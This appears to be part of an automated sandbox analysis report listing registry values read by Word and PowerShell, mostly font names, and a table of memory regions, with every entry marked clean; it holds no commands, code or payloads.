C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F5013
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F5013
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
There are 325 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
3CD8000
unkown
page read and write
 clean
4DD000
heap default
page read and write
 clean
28D0000
unkown
page read and write
 clean
3764000
unkown
page read and write
 clean
35C0000
unkown
page readonly
 clean
30B9000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
3728000
unkown
page read and write
 clean
31E5000
unkown
page read and write
 clean
3295000
unkown
page readonly
 clean
28D0000
unkown
page read and write
 clean
1DC0000
heap private
page execute and read and write
 clean
3D4E000
unkown
page read and write
 clean
3CBC000
unkown
page read and write
 clean
3123000
unkown
page read and write
 clean
1BA6000
unkown
page read and write
 clean
1FEB000
heap private
page read and write
 clean
28D0000
unkown
page read and write
 clean
3379000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
22E7000
unkown
page readonly
 clean
7FF00230000
unkown
page execute and read and write
 clean
CC000
unkown
page read and write
 clean
2E7E000
unkown
page read and write
 clean
1D7C000
unkown
page readonly
 clean
20000
heap private
page read and write
 clean
7FF001F7000
unkown
page read and write
 clean
720000
unkown
page readonly
 clean
307A000
unkown
page read and write
 clean
32D6000
unkown
page readonly
 clean
3090000
unkown
page read and write
 clean
A00000
heap private
page read and write
 clean
28D0000
unkown
page read and write
 clean
1D70000
unkown
page readonly
 clean
3212000
unkown
page readonly
 clean
7FF001F0000
unkown
page read and write
 clean
31A8000
unkown
page read and write
 clean
610000
unkown
page readonly
 clean
7FF00280000
unkown
page execute and read and write
 clean
3339000
unkown
page readonly
 clean
376A000
unkown
page read and write
 clean
C70000
heap private
page read and write
 clean
3375000
unkown
page readonly
 clean
37CA000
unkown
page read and write
 clean
450000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
3174000
unkown
page read and write
 clean
1FB5000
heap private
page read and write
 clean
317D000
unkown
page read and write
 clean
7FF00022000
unkown
page execute and read and write
 clean
31F5000
unkown
page read and write
 clean
1D6000
unkown
page read and write
 clean
3064000
unkown
page read and write
 clean
10003000
unkown image
page readonly
 clean
7FF000E0000
unkown
page read and write
 clean
D6000
unkown
page read and write
 clean
180000
unkown
page read and write
 clean
7FF000FA000
unkown
page execute and read and write
 clean
31C9000
unkown
page read and write
 clean
31A5000
unkown
page read and write
 clean
520000
heap private
page read and write
 clean
7FF001B0000
unkown
page read and write
 clean
10006000
unkown image
page read and write
 clean
3757000
unkown
page read and write
 clean
1C93D000
unkown
page read and write
 clean
7FF000F5000
unkown
page read and write
 clean
7FF00032000
unkown
page execute and read and write
 clean
31C3000
unkown
page read and write
 clean
2C70000
heap private
page read and write
 clean
3770000
unkown
page read and write
 clean
2D0000
unkown
page read and write
 clean
2E21000
unkown
page read and write
 clean
36F9000
unkown
page read and write
 clean
2350000
unkown
page read and write
 clean
1D9B000
unkown
page readonly
 clean
3542000
unkown
page readonly
 clean
1CE0000
heap private
page read and write
 clean
4D7000
heap default
page read and write
 clean
3336000
unkown
page readonly
 clean
7FF00290000
unkown
page execute and read and write
 clean
7FF001A0000
unkown
page execute and read and write
 clean
28D0000
unkown
page read and write
 clean
7FF001D0000
unkown
page read and write
 clean
1E4000
heap private
page read and write
 clean
7FF002A0000
unkown
page execute and read and write
 clean
7FF000E2000
unkown
page execute and read and write
 clean
10001000
unkown image
page execute read
 clean
7FF00190000
unkown
page read and write
 clean
1CE4000
heap private
page read and write
 clean
1C86E000
unkown
page read and write
 clean
32C5000
unkown
page readonly
 clean
31F2000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
23E0000
unkown
page readonly
 clean
2A9E000
unkown
page read and write
 clean
3741000
unkown
page read and write
 clean
1FA000
unkown
page read and write
 clean
90000
unkown
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
4A0000
heap default
page read and write
 clean
150000
unkown
page readonly
 clean
310F000
unkown
page read and write
 clean
B80000
heap private
page read and write
 clean
AB7000
heap private
page read and write
 clean
2D10000
heap private
page read and write
 clean
11D000
stack
page read and write
 clean
1BAA0000
unkown
page read and write
 clean
1F40000
unkown
page readonly
 clean
2335000
unkown
page read and write
 clean
27F0000
unkown
page readonly
 clean
5D0000
unkown
page readonly
 clean
2130000
heap private
page read and write
 clean
318F000
unkown
page read and write
 clean
530000
unkown
page readonly
 clean
2C4A000
heap private
page execute and read and write
 clean
28D0000
unkown
page read and write
 clean
30FA000
unkown
page read and write
 clean
373B000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
1BC40000
heap private
page read and write
 clean
30F5000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
180000
unkown
page readonly
 clean
1BA66000
unkown
page read and write
 clean
3725000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
3080000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
214000
heap default
page read and write
 clean
33B2000
unkown
page readonly
 clean
27D4000
unkown
page read and write
 clean
2820000
unkown
page read and write
 clean
1CA3E000
unkown
page read and write
 clean
233A000
unkown
page read and write
 clean
2D7000
heap default
page read and write
 clean
3633000
unkown
page read and write
 clean
7FF001C0000
unkown
page execute and read and write
 clean
3146000
unkown
page read and write
 clean
3149000
unkown
page read and write
 clean
1D77000
unkown
page readonly
 clean
1A0000
unkown
page read and write
 clean
1CD80000
heap private
page read and write
 clean
31DF000
unkown
page read and write
 clean
1C0000
unkown
page readonly
 clean
7FF00200000
unkown
page read and write
 clean
32A6000
unkown
page readonly
 clean
3382000
unkown
page readonly
 clean
31D3000
unkown
page read and write
 clean
375A000
unkown
page read and write
 clean
3170000
unkown
page read and write
 clean
3214000
unkown
page readonly
 clean
28D0000
unkown
page read and write
 clean
3BB5000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
1D54000
heap private
page read and write
 clean
319F000
unkown
page read and write
 clean
7FF00122000
unkown
page execute and read and write
 clean
33DC000
unkown
page read and write
 clean
333D000
unkown
page readonly
 clean
372B000
unkown
page read and write
 clean
2CD0000
unkown
page readonly
 clean
4FF000
unkown
page read and write
 clean
3389000
unkown
page readonly
 clean
44F000
heap private
page read and write
 clean
7FF00170000
unkown
page execute and read and write
 clean
3254000
unkown
page readonly
 clean
3744000
unkown
page read and write
 clean
1CBB0000
heap private
page read and write
 clean
524000
heap private
page read and write
 clean
4C4000
heap default
page read and write
 clean
1D97000
unkown
page readonly
 clean
390000
unkown
page read and write
 clean
31E2000
unkown
page read and write
 clean
3232000
unkown
page readonly
 clean
430000
unkown
page readonly
 clean
3312000
unkown
page readonly
 clean
7FF00210000
unkown
page execute and read and write
 clean
970000
heap private
page read and write
 clean
3074000
unkown
page read and write
 clean
170000
unkown
page write copy
 clean
10000000
unkown image
page readonly
 clean
3105000
unkown
page read and write
 clean
3143000
unkown
page read and write
 clean
376D000
unkown
page read and write
 clean
1BB00000
unkown
page read and write
 clean
3234000
unkown
page readonly
 clean
32E2000
unkown
page readonly
 clean
3C6000
unkown
page read and write
 clean
3376000
unkown
page read and write
 clean
13070000
unkown
page read and write
 clean
7FF00030000
unkown
page read and write
 clean
32F5000
unkown
page readonly
 clean
306000
unkown
page read and write
 clean
1D57000
heap private
page read and write
 clean
3754000
unkown
page read and write
 clean
294000
heap default
page read and write
 clean
3071000
unkown
page read and write
 clean
1FA0000
unkown
page readonly
 clean
490000
unkown
page readonly
 clean
305A000
unkown
page read and write
 clean
26C0000
unkown
page readonly
 clean
390000
unkown
page read and write
 clean
27DA000
unkown
page read and write
 clean
2030000
unkown
page readonly
 clean
28D0000
unkown
page read and write
 clean
2AD6000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
1D60000
unkown
page readonly
 clean
2D0000
heap default
page read and write
 clean
AB0000
heap private
page read and write
 clean
2E84000
unkown
page read and write
 clean
32AD000
unkown
page read and write
 clean
32C8000
unkown
page read and write
 clean
1E0000
heap private
page read and write
 clean
1B70D000
unkown
page read and write
 clean
2960000
unkown
page write copy
 clean
1F30000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
2CB0000
unkown
page readonly
 clean
E0000
unkown
page readonly
 clean
31C6000
unkown
page read and write
 clean
D5000
unkown
page read and write | page guard
 clean
2E52000
unkown
page read and write
 clean
3306000
unkown
page readonly
 clean
7FF00220000
unkown
page read and write
 clean
1C7EE000
unkown
page read and write
 clean
7FF00270000
unkown
page read and write
 clean
B90000
unkown
page readonly
 clean
3152000
unkown
page readonly
 clean
1C70000
unkown
page write copy
 clean
12F31000
unkown
page read and write
 clean
1D30000
unkown
page readonly
 clean
23DD000
unkown
page read and write
 clean
365C000
unkown
page read and write
 clean
3282000
unkown
page readonly
 clean
3D56000
unkown
page read and write
 clean
E0000
unkown
page readonly
 clean
2C1E000
unkown
page read and write
 clean
27D0000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
1D50000
heap private
page read and write
 clean
28D0000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
25F000
heap default
page read and write
 clean
3325000
unkown
page readonly
 clean
28D0000
unkown
page read and write
 clean
2AA0000
unkown
page read and write
 clean
3580000
unkown
page readonly
 clean
30E000
heap default
page read and write
 clean
28CF000
unkown
page read and write
 clean
220000
heap private
page read and write
 clean
7FF00250000
unkown
page execute and read and write
 clean
32B2000
unkown
page readonly
 clean
3096000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
7FF00180000
unkown
page execute and read and write
 clean
150000
unkown
page read and write
 clean
33D5000
unkown
page readonly
 clean
440000
heap private
page read and write
 clean
28D0000
unkown
page read and write
 clean
35A0000
unkown
page readonly
 clean
28D0000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
1D20000
unkown
page read and write
 clean
310000
heap default
page read and write
 clean
330E000
unkown
page read and write
 clean
3060000
unkown
page read and write
 clean
2100000
unkown
page readonly
 clean
3093000
unkown
